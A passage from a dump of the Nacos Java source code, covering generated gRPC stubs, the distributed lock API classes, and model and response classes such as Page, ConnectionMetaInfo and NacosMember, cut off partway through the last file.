 public static RequestFutureStub newFutureStub(\n      io.grpc.Channel channel) {\n    return new RequestFutureStub(channel);\n  }\n\n  /**\n   */\n  public static abstract class RequestImplBase implements io.grpc.BindableService {\n\n    /**\n     * <pre>\n     * Sends a commonRequest\n     * </pre>\n     */\n    public void request(com.alibaba.nacos.api.grpc.auto.Payload request,\n        io.grpc.stub.StreamObserver<com.alibaba.nacos.api.grpc.auto.Payload> responseObserver) {\n      asyncUnimplementedUnaryCall(getRequestMethod(), responseObserver);\n    }\n\n    @Override public final io.grpc.ServerServiceDefinition bindService() {\n      return io.grpc.ServerServiceDefinition.builder(getServiceDescriptor())\n          .addMethod(\n            getRequestMethod(),\n            asyncUnaryCall(\n              new MethodHandlers<\n                com.alibaba.nacos.api.grpc.auto.Payload,\n                com.alibaba.nacos.api.grpc.auto.Payload>(\n                  this, METHODID_REQUEST)))\n          .build();\n    }\n  }\n\n  /**\n   */\n  public static final class RequestStub extends io.grpc.stub.AbstractStub<RequestStub> {\n    private RequestStub(io.grpc.Channel channel) {\n      super(channel);\n    }\n\n    private RequestStub(io.grpc.Channel channel,\n        io.grpc.CallOptions callOptions) {\n      super(channel, callOptions);\n    }\n\n    @Override\n    protected RequestStub build(io.grpc.Channel channel,\n        io.grpc.CallOptions callOptions) {\n      return new RequestStub(channel, callOptions);\n    }\n\n    /**\n     * <pre>\n     * Sends a commonRequest\n     * </pre>\n     */\n    public void request(com.alibaba.nacos.api.grpc.auto.Payload request,\n        io.grpc.stub.StreamObserver<com.alibaba.nacos.api.grpc.auto.Payload> responseObserver) {\n      asyncUnaryCall(\n          getChannel().newCall(getRequestMethod(), getCallOptions()), request, responseObserver);\n    }\n  }\n\n  /**\n   */\n  public static final class RequestBlockingStub extends io.grpc.stub.AbstractStub<RequestBlockingStub> {\n    private RequestBlockingStub(io.grpc.Channel channel) {\n      super(channel);\n    }\n\n    private RequestBlockingStub(io.grpc.Channel channel,\n        io.grpc.CallOptions callOptions) {\n      super(channel, callOptions);\n    }\n\n    @Override\n    protected RequestBlockingStub build(io.grpc.Channel channel,\n        io.grpc.CallOptions callOptions) {\n      return new RequestBlockingStub(channel, callOptions);\n    }\n\n    /**\n     * <pre>\n     * Sends a commonRequest\n     * </pre>\n     */\n    public com.alibaba.nacos.api.grpc.auto.Payload request(com.alibaba.nacos.api.grpc.auto.Payload request) {\n      return blockingUnaryCall(\n          getChannel(), getRequestMethod(), getCallOptions(), request);\n    }\n  }\n\n  /**\n   */\n  public static final class RequestFutureStub extends io.grpc.stub.AbstractStub<RequestFutureStub> {\n    private RequestFutureStub(io.grpc.Channel channel) {\n      super(channel);\n    }\n\n    private RequestFutureStub(io.grpc.Channel channel,\n        io.grpc.CallOptions callOptions) {\n      super(channel, callOptions);\n    }\n\n    @Override\n    protected RequestFutureStub build(io.grpc.Channel channel,\n        io.grpc.CallOptions callOptions) {\n      return new RequestFutureStub(channel, callOptions);\n    }\n\n    /**\n     * <pre>\n     * Sends a commonRequest\n     * </pre>\n     */\n    public com.google.common.util.concurrent.ListenableFuture<com.alibaba.nacos.api.grpc.auto.Payload> request(\n        com.alibaba.nacos.api.grpc.auto.Payload request) {\n      return futureUnaryCall(getChannel().newCall(getRequestMethod(),\n              getCallOptions()), request);\n    }\n  }\n\n  private static final int METHODID_REQUEST = 0;\n\n  private static final class MethodHandlers<Req, Resp> implements\n      io.grpc.stub.ServerCalls.UnaryMethod<Req, Resp>,\n      io.grpc.stub.ServerCalls.ServerStreamingMethod<Req, Resp>,\n      io.grpc.stub.ServerCalls.ClientStreamingMethod<Req, Resp>,\n      io.grpc.stub.ServerCalls.BidiStreamingMethod<Req, Resp> {\n    private final RequestImplBase serviceImpl;\n    private final int methodId;\n\n    MethodHandlers(RequestImplBase serviceImpl, int methodId) {\n      this.serviceImpl = serviceImpl;\n      this.methodId = methodId;\n    }\n\n    @Override\n    @SuppressWarnings(\"unchecked\")\n    public void invoke(Req request, io.grpc.stub.StreamObserver<Resp> responseObserver) {\n      switch (methodId) {\n        case METHODID_REQUEST:\n          serviceImpl.request((com.alibaba.nacos.api.grpc.auto.Payload) request,\n              (io.grpc.stub.StreamObserver<com.alibaba.nacos.api.grpc.auto.Payload>) responseObserver);\n          break;\n        default:\n          throw new AssertionError();\n      }\n    }\n\n    @Override\n    @SuppressWarnings(\"unchecked\")\n    public io.grpc.stub.StreamObserver<Req> invoke(\n        io.grpc.stub.StreamObserver<Resp> responseObserver) {\n      switch (methodId) {\n        default:\n          throw new AssertionError();\n      }\n    }\n  }\n\n  private static abstract class RequestBaseDescriptorSupplier\n      implements io.grpc.protobuf.ProtoFileDescriptorSupplier, io.grpc.protobuf.ProtoServiceDescriptorSupplier {\n    RequestBaseDescriptorSupplier() {}\n\n    @Override\n    public com.google.protobuf.Descriptors.FileDescriptor getFileDescriptor() {\n      return com.alibaba.nacos.api.grpc.auto.NacosGrpcService.getDescriptor();\n    }\n\n    @Override\n    public com.google.protobuf.Descriptors.ServiceDescriptor getServiceDescriptor() {\n      return getFileDescriptor().findServiceByName(\"Request\");\n    }\n  }\n\n  private static final class RequestFileDescriptorSupplier\n      extends RequestBaseDescriptorSupplier {\n    RequestFileDescriptorSupplier() {}\n  }\n\n  private static final class RequestMethodDescriptorSupplier\n      extends RequestBaseDescriptorSupplier\n      implements io.grpc.protobuf.ProtoMethodDescriptorSupplier {\n    private final String methodName;\n\n    RequestMethodDescriptorSupplier(String methodName) {\n      this.methodName = methodName;\n    }\n\n    @Override\n    public com.google.protobuf.Descriptors.MethodDescriptor getMethodDescriptor() {\n      return getServiceDescriptor().findMethodByName(methodName);\n    }\n  }\n\n  private static volatile io.grpc.ServiceDescriptor serviceDescriptor;\n\n  public static io.grpc.ServiceDescriptor getServiceDescriptor() {\n    io.grpc.ServiceDescriptor result = serviceDescriptor;\n    if (result == null) {\n      synchronized (RequestGrpc.class) {\n        result = serviceDescriptor;\n        if (result == null) {\n          serviceDescriptor = result = io.grpc.ServiceDescriptor.newBuilder(SERVICE_NAME)\n              .setSchemaDescriptor(new RequestFileDescriptorSupplier())\n              .addMethod(getRequestMethod())\n              .build();\n        }\n      }\n    }\n    return result;\n  }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/lock/LockService.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.lock;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.lock.model.LockInstance;\n\n/**\n * Nacos Lock Process.\n *\n * <p>lock => {@link LockService#lock(LockInstance)} -> {@link LockInstance#lock(LockService)} ->\n * {@link  LockService#remoteTryLock(LockInstance)} <br/> unLock => {@link LockService#unLock(LockInstance)} ->\n * {@link LockInstance#unLock(LockService)} -> {@link LockService#remoteReleaseLock(LockInstance)}\n *\n * @author 985492783@qq.com\n * @date 2023/8/24 19:49\n */\npublic interface LockService {\n    \n    /**\n     * Real lock method expose to user to acquire the lock.<br/> It will call {@link LockInstance#lock(LockService)}\n     * <br/>\n     *\n     * @param instance instance\n     * @return Boolean\n     * @throws NacosException NacosException\n     */\n    Boolean lock(LockInstance instance) throws NacosException;\n    \n    /**\n     * Real lock method expose to user to release the lock.<br/> It will call {@link LockInstance#unLock(LockService)}\n     * <br/>\n     *\n     * @param instance instance\n     * @return Boolean\n     * @throws NacosException NacosException\n     */\n    Boolean unLock(LockInstance instance) throws NacosException;\n    \n    /**\n     * use grpc request to try lock.\n     *\n     * @param instance instance\n     * @return Boolean\n     * @throws NacosException NacosException\n     */\n    Boolean remoteTryLock(LockInstance instance) throws NacosException;\n    \n    /**\n     * use grpc request to release lock.\n     *\n     * @param instance instance\n     * @return Boolean\n     * @throws NacosException NacosException\n     */\n    Boolean remoteReleaseLock(LockInstance instance) throws NacosException;\n    \n    /**\n     * Shutdown the Resources, such as Thread Pool.\n     *\n     * @throws NacosException exception.\n     */\n    void shutdown() throws NacosException;\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/lock/NacosLockFactory.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.lock;\n\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.lang.reflect.Constructor;\nimport java.util.Properties;\n\n/**\n * lock Factory.\n *\n * @author 985492783@qq.com\n * @date 2023/8/25 0:40\n */\npublic class NacosLockFactory {\n    \n    /**\n     * Create a new lock service.\n     *\n     * @param properties lock service properties\n     * @return new lock service\n     * @throws NacosException nacos exception\n     */\n    public static LockService createLockService(Properties properties) throws NacosException {\n        try {\n            Class<?> driverImplClass = Class.forName(\"com.alibaba.nacos.client.lock.NacosLockService\");\n            Constructor constructor = driverImplClass.getConstructor(Properties.class);\n            return (LockService) constructor.newInstance(properties);\n        } catch (Throwable e) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, e);\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/lock/common/LockConstants.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.lock.common;\n\n/**\n * lock constant.\n *\n * @author 985492783@qq.com\n * @date 2023/8/23 15:53\n */\npublic class LockConstants {\n    \n    public static final String NACOS_LOCK_TYPE = \"NACOS_LOCK\";\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/lock/constant/PropertyConstants.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.lock.constant;\n\n/**\n * lock properties constants.\n * @author 985492783@qq.com\n * @description PropertyConstants\n * @date 2023/6/28 17:38\n */\npublic class PropertyConstants {\n    \n    public static final String LOCK_REQUEST_TIMEOUT = \"lockRequestTimeout\";\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/lock/model/LockInstance.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.lock.model;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.lock.LockService;\n\nimport java.io.Serializable;\nimport java.util.Map;\n\n/**\n * lock info entity.\n *\n * @author 985492783@qq.com\n * @date 2023/6/28 2:46\n */\npublic class LockInstance implements Serializable {\n    \n    private static final long serialVersionUID = -3460985546826875524L;\n    \n    private String key;\n    \n    private Long expiredTime;\n    \n    private Map<String, ? extends Serializable> params;\n    \n    private String lockType;\n    \n    public LockInstance(String key, Long expiredTime, String lockType) {\n        this.key = key;\n        this.expiredTime = expiredTime;\n        this.lockType = lockType;\n    }\n    \n    public LockInstance() {\n    }\n    \n    public Long getExpiredTime() {\n        return expiredTime;\n    }\n    \n    public void setExpiredTime(Long expiredTime) {\n        this.expiredTime = expiredTime;\n    }\n    \n    public String getKey() {\n        return key;\n    }\n    \n    public void setKey(String key) {\n        this.key = key;\n    }\n    \n    public Map<String, ? extends Serializable> getParams() {\n        return params;\n    }\n    \n    public void setParams(Map<String, ? extends Serializable> params) {\n        this.params = params;\n    }\n    \n    /**\n     * Will call {@link LockService#remoteTryLock(LockInstance)} request grpc to get lock and do something.<br/> can be\n     * {@link Override} to do some client special logic.\n     *\n     * @param lockService {@link LockService}\n     * @return Boolean {@link Boolean}\n     * @throws NacosException NacosException\n     */\n    public Boolean lock(LockService lockService) throws NacosException {\n        return lockService.remoteTryLock(this);\n    }\n    \n    /**\n     * Will call {@link LockService#remoteReleaseLock(LockInstance)} request grpc to release lock and do something.<br/>\n     * can be {@link Override} to do some client special logic.\n     *\n     * @param lockService {@link LockService}\n     * @return Boolean {@link Boolean}\n     * @throws NacosException NacosException\n     */\n    public Boolean unLock(LockService lockService) throws NacosException {\n        return lockService.remoteReleaseLock(this);\n    }\n    \n    /**\n     * spi get lock type.\n     *\n     * @return type\n     */\n    public String getLockType() {\n        return lockType;\n    }\n    \n    public void setLockType(String lockType) {\n        this.lockType = lockType;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/lock/remote/AbstractLockRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.lock.remote;\n\nimport com.alibaba.nacos.api.remote.request.Request;\n\nimport static com.alibaba.nacos.api.common.Constants.Lock.LOCK_MODULE;\n\n/**\n * lock grpc request.\n *\n * @author 985492783@qq.com\n * @description LockRequest\n * @date 2023/6/29 12:00\n */\npublic abstract class AbstractLockRequest extends Request {\n    \n    @Override\n    public String getModule() {\n        return LOCK_MODULE;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/lock/remote/LockOperationEnum.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.lock.remote;\n\nimport java.io.Serializable;\n\n/**\n * lock operation.\n * @author 985492783@qq.com\n */\npublic enum LockOperationEnum implements Serializable {\n    \n    /**\n     * Acquire.\n     */\n    ACQUIRE,\n    /**\n     * Release.\n     */\n    RELEASE,\n    /**\n     * Expire.\n     */\n    EXPIRE;\n    \n    private static final long serialVersionUID = -241044344531890549L;\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/lock/remote/request/LockOperationRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.lock.remote.request;\n\nimport com.alibaba.nacos.api.lock.model.LockInstance;\nimport com.alibaba.nacos.api.lock.remote.AbstractLockRequest;\nimport com.alibaba.nacos.api.lock.remote.LockOperationEnum;\n\n/**\n * grpc acquire lock request.\n *\n * @author 985492783@qq.com\n * @description AcquireLockRequest\n * @date 2023/6/29 12:01\n */\npublic class LockOperationRequest extends AbstractLockRequest {\n    \n    private LockInstance lockInstance;\n    \n    private LockOperationEnum lockOperationEnum;\n    \n    public LockInstance getLockInstance() {\n        return lockInstance;\n    }\n    \n    public void setLockInstance(LockInstance lockInstance) {\n        this.lockInstance = lockInstance;\n    }\n    \n    public LockOperationEnum getLockOperationEnum() {\n        return lockOperationEnum;\n    }\n    \n    public void setLockOperationEnum(LockOperationEnum lockOperationEnum) {\n        this.lockOperationEnum = lockOperationEnum;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/lock/remote/response/LockOperationResponse.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.lock.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\n\n/**\n * grpc acquire lock response.\n *\n * @author 985492783@qq.com\n * @description AcquireLockResponse\n * @date 2023/6/29 13:51\n */\npublic class LockOperationResponse extends Response {\n    \n    private Object result;\n    \n    public LockOperationResponse() {\n    \n    }\n    \n    public LockOperationResponse(Boolean result) {\n        this.result = result;\n    }\n    \n    /**\n     * create success response.\n     * @param result result\n     * @return LockOperationResponse\n     */\n    public static LockOperationResponse success(Boolean result) {\n        LockOperationResponse response = new LockOperationResponse(result);\n        return response;\n    }\n    \n    /**\n     * create fail response.\n     * @param message message\n     * @return LockOperationResponse\n     */\n    public static LockOperationResponse fail(String message) {\n        LockOperationResponse response = new LockOperationResponse(false);\n        response.setResultCode(ResponseCode.FAIL.getCode());\n        response.setMessage(message);\n        return response;\n    }\n    \n    public Object getResult() {\n        return result;\n    }\n    \n    public void setResult(Object result) {\n        this.result = result;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/model/NacosForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\n\nimport java.io.Serializable;\n\n/**\n * Nacos HTTP Form API Object.\n *\n * @author xiweng.yy\n */\npublic interface NacosForm extends Serializable {\n    \n    /**\n     * check form parameters while valid.\n     *\n     * @throws NacosApiException when form parameters is invalid.\n     */\n    void validate() throws NacosApiException;\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/model/Page.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model;\n\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Page.\n *\n * @author boyan\n * @date 2010-5-6\n */\npublic class Page<E> implements Serializable {\n\n    static final long serialVersionUID = 1234544030560484292L;\n\n    /**\n     * totalCount.\n     */\n    private int totalCount;\n    \n    /**\n     * pageNumber.\n     */\n    private int pageNumber;\n    \n    /**\n     * pagesAvailable.\n     */\n    private int pagesAvailable;\n    \n    /**\n     * pageItems.\n     */\n    private List<E> pageItems = new ArrayList<>();\n    \n    public void setPageNumber(int pageNumber) {\n        this.pageNumber = pageNumber;\n    }\n    \n    public void setPagesAvailable(int pagesAvailable) {\n        this.pagesAvailable = pagesAvailable;\n    }\n    \n    public void setPageItems(List<E> pageItems) {\n        this.pageItems = pageItems;\n    }\n    \n    public int getTotalCount() {\n        return totalCount;\n    }\n    \n    public void setTotalCount(int totalCount) {\n        this.totalCount = totalCount;\n    }\n    \n    public int getPageNumber() {\n        return pageNumber;\n    }\n    \n    public int getPagesAvailable() {\n        return pagesAvailable;\n    }\n    \n    public List<E> getPageItems() {\n        return pageItems;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/model/response/ConnectionInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.response;\n\nimport java.util.Map;\n\n/**\n * Nacos client connection information.\n *\n * @author Nacos\n */\npublic class ConnectionInfo {\n    \n    private boolean traced = false;\n    \n    private Map<String, Boolean> abilityTable;\n    \n    private ConnectionMetaInfo metaInfo;\n    \n    public boolean isTraced() {\n        return traced;\n    }\n    \n    public void setTraced(boolean traced) {\n        this.traced = traced;\n    }\n    \n    public void setAbilityTable(Map<String, Boolean> abilityTable) {\n        this.abilityTable = abilityTable;\n    }\n    \n    public Map<String, Boolean> getAbilityTable() {\n        return this.abilityTable;\n    }\n    \n    public ConnectionMetaInfo getMetaInfo() {\n        return metaInfo;\n    }\n    \n    public void setMetaInfo(ConnectionMetaInfo metaInfo) {\n        this.metaInfo = metaInfo;\n    }\n}\n\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/model/response/ConnectionMetaInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.response;\n\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Nacos client connection metadata information.\n *\n * @author Nacos\n */\npublic class ConnectionMetaInfo {\n    \n    String connectType;\n    \n    String clientIp;\n    \n    String remoteIp;\n    \n    int remotePort;\n    \n    int localPort;\n    \n    String version;\n    \n    String connectionId;\n    \n    Date createTime;\n    \n    long lastActiveTime;\n    \n    String appName;\n    \n    String namespaceId;\n    \n    private Map<String, String> labels = new HashMap<>();\n    \n    public Map<String, String> getLabels() {\n        return labels;\n    }\n    \n    public void setLabels(Map<String, String> labels) {\n        this.labels = labels;\n    }\n    \n    public String getClientIp() {\n        return clientIp;\n    }\n    \n    public void setClientIp(String clientIp) {\n        this.clientIp = clientIp;\n    }\n    \n    public String getRemoteIp() {\n        return remoteIp;\n    }\n    \n    public void setRemoteIp(String remoteIp) {\n        this.remoteIp = remoteIp;\n    }\n    \n    public int getRemotePort() {\n        return remotePort;\n    }\n    \n    public void setRemotePort(int remotePort) {\n        this.remotePort = remotePort;\n    }\n    \n    public String getConnectionId() {\n        return connectionId;\n    }\n\n    public void setConnectionId(String connectionId) {\n        this.connectionId = connectionId;\n    }\n\n    public Date getCreateTime() {\n        return createTime;\n    }\n    \n    public void setCreateTime(Date createTime) {\n        this.createTime = createTime;\n    }\n\n    public long getLastActiveTime() {\n        return lastActiveTime;\n    }\n\n    public void setLastActiveTime(long lastActiveTime) {\n        this.lastActiveTime = lastActiveTime;\n    }\n    \n    public String getConnectType() {\n        return connectType;\n    }\n\n    public void setConnectType(String connectType) {\n        this.connectType = connectType;\n    }\n\n    public String getVersion() {\n        return version;\n    }\n\n    public void setVersion(String version) {\n        this.version = version;\n    }\n\n    public int getLocalPort() {\n        return localPort;\n    }\n\n    public void setLocalPort(int localPort) {\n        this.localPort = localPort;\n    }\n    \n    public String getAppName() {\n        return appName;\n    }\n    \n    public void setAppName(String appName) {\n        this.appName = appName;\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/model/response/IdGeneratorInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.response;\n\n/**\n * Id generator vo.\n *\n * @author wuzhiguo\n */\npublic class IdGeneratorInfo {\n    \n    private String resource;\n    \n    private IdInfo info;\n    \n    public String getResource() {\n        return resource;\n    }\n    \n    public void setResource(String resource) {\n        this.resource = resource;\n    }\n    \n    public IdInfo getInfo() {\n        return info;\n    }\n    \n    public void setInfo(IdInfo info) {\n        this.info = info;\n    }\n    \n    public static class IdInfo {\n        \n        private Long currentId;\n    \n        private Long workerId;\n    \n        public Long getCurrentId() {\n            return currentId;\n        }\n    \n        public void setCurrentId(Long currentId) {\n            this.currentId = currentId;\n        }\n    \n        public Long getWorkerId() {\n            return workerId;\n        }\n    \n        public void setWorkerId(Long workerId) {\n            this.workerId = workerId;\n        }\n    \n        @Override\n        public String toString() {\n            return \"IdInfo{\" + \"currentId=\" + currentId + \", workerId=\" + workerId + '}';\n        }\n    }\n    \n    @Override\n    public String toString() {\n        return \"IdGeneratorVO{\" + \"resource='\" + resource + '\\'' + \", info=\" + info + '}';\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/model/response/NacosMember.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.response;\n\nimport com.alibaba.nacos.api.ability.ServerAbilities;\nimport com.alibaba.nacos.api.common.NodeState;\nimport com.alibaba.nacos.api.utils.StringUtils;\n\nimport java.io.Serializable;\nimport java.util.Collections;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.TreeMap;\n\n/**\n * Nacos server member information.\n *\n * @author xiweng.yy\n */\npublic class NacosMember implements Serializable {\n    \n    private static final long serialVersionUID = 6295022126554026016L;\n    \n    private String ip;\n    \n    private int port = -1;\n    \n    private volatile NodeState state = NodeState.UP;\n    \n    private Map<String, Object> extendInfo = Collections.synchronizedMap(new TreeMap<>());\n    \n    private String address = \"\";\n    \n    @Deprecated\n    private ServerAbilities abilities = new ServerAbilities();\n    \n    public String getIp() {\n        return ip;\n    }\n    \n    public void setIp(String ip) {\n        this.ip = ip;\n        this.address = ip + \":\" + port;\n    }\n    \n    public int getPort() {\n        return port;\n    }\n    \n    public void setPort(int port) {\n        this.port = port;\n        this.address = ip + \":\" + port;\n    }\n    \n    public NodeState getState() {\n        return state;\n    }\n    \n    public void setState(NodeState state) {\n        this.state = state;\n    }\n    \n    public Map<String, Object> getExtendInfo() {\n        return 